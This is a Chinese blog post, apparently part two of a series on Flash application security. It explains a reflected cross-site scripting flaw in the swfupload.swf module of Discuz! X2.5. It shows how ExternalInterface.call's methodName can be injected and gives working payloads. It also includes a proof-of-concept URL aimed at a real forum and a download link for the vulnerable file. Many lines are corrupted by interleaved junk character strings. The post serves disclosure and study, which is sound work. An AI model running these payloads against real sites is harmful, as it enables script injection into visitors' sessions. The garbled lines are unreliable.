Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
# f( {  l0 U5 K2 g" N3 T6 J5 D6 ^' _
3 m0 K" f, c, S) ]# Q2 U$ \* m. Qflash.external.ExternalInterface.call($methodName, $parameter)
5 A/ h2 f% h, q) `! r! v( F+ f在浏览器中执行的是
% R2 i2 m0 ^0 G* F5 J
6 s; O$ a1 I5 P( o+ atry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
3 L; d6 b! i( h$ j. M$ p7 b
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* F$ e& _$ s& z  e, P! t! v$methodName = a())}catch(e){alert(/xss/)}//
( @# h  R1 b( s3 V8 m3 P结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
5 c' g6 Y" A& @, Q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
/ u! K# {* |( b! k+ a


漏洞文件：upload\static\image\common\swfupload.swf

原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf
" R% E* G) Y3 q8 ]2 j2 R

* I" x) v( m0 n3 ^. n: i& V2 T; J漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' p; I/ @7 Q8 v6 M